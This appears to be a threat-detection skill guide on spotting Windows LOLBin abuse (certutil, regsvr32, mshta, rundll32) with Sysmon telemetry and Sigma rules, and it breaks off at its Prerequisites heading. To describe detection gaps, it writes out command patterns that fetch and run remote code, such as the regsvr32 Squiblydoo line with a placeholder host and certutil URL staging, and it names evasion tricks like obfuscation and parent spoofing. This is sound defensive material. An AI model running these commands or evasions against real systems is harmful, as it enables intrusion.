detecting-living-off-the-land-with-lolbas

name	detecting-living-off-the-land-with-lolbas
description	Detect Living Off the Land Binaries (LOLBins/LOLBAS) abuse including certutil, regsvr32, mshta, and rundll32 via process telemetry, Sigma rules, and parent-child process analysis
domain	cybersecurity
subdomain	threat-detection
tags	["lolbas","lolbins","sigma-rules","process-monitoring","sysmon","endpoint-detection","threat-hunting"]
version	1.0
author	mahipal
license	Apache-2.0
d3fend_techniques	["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Application Protocol Command Analysis","Content Format Conversion"]
nist_csf	["DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05"]

Detecting Living Off the Land with LOLBAS

Overview

Living Off the Land Binaries, Scripts, and Libraries (LOLBAS) are legitimate system utilities abused by attackers to execute malicious actions while evading detection. This skill covers detecting abuse of certutil.exe, regsvr32.exe, mshta.exe, rundll32.exe, msbuild.exe, and other LOLBins using process telemetry from Sysmon and Windows Event Logs, combined with Sigma rule-based detection.

When to Use

• When investigating security incidents that require detecting living off the land with lolbas
• When building detection rules or threat hunting queries for this domain
• When SOC analysts need structured procedures for this analysis type
• When validating security monitoring coverage for related attack techniques

Detection Gaps & Validation

• Variants most often missed: matching on Image|endswith (e.g. \regsvr32.exe) misses renamed LOLBins — key on Sysmon EID 1 OriginalFileName/Description instead, since Windows EID 4688 has no OriginalFileName and renaming defeats it. Signed-proxy execution most often slipped past: regsvr32 /s /n /u /i:http://host/file.sct scrobj.dll (Squiblydoo, T1218.010), rundll32 with javascript:/UNC DLL (T1218.011), mshta inline vbscript:/javascript: (T1218.005), and certutil -urlcache -f http / -decode staging (T1105/T1140).
• False negatives: ordinal DLL calls (rundll32 a.dll,#1), wmic ... /format: XSL pulled over HTTP, and caret/quote/env-var obfuscation that breaks literal command-line substring Sigma matches. Parent-spoofing makes a malicious LOLBin appear to descend from a benign signed process.
• Validate the rule fires: Atomic Red Team T1218.010, T1218.011, T1218.005, T1105 (certutil), T1127.001 (msbuild inline task). Execute the renamed-binary test and confirm the Sigma rule still hits via OriginalFileName; convert rules with sigma-cli and test against your SIEM field mapping.
• FP tuning: installers, SCCM/Intune, and admin tooling legitimately call regsvr32/rundll32/msiexec — scope alerts to anomalous parents (winword/excel/outlook/wscript/explorer) and to LOLBins making outbound connections; baseline 7 days of clean telemetry before enabling high-severity rules.

Prerequisites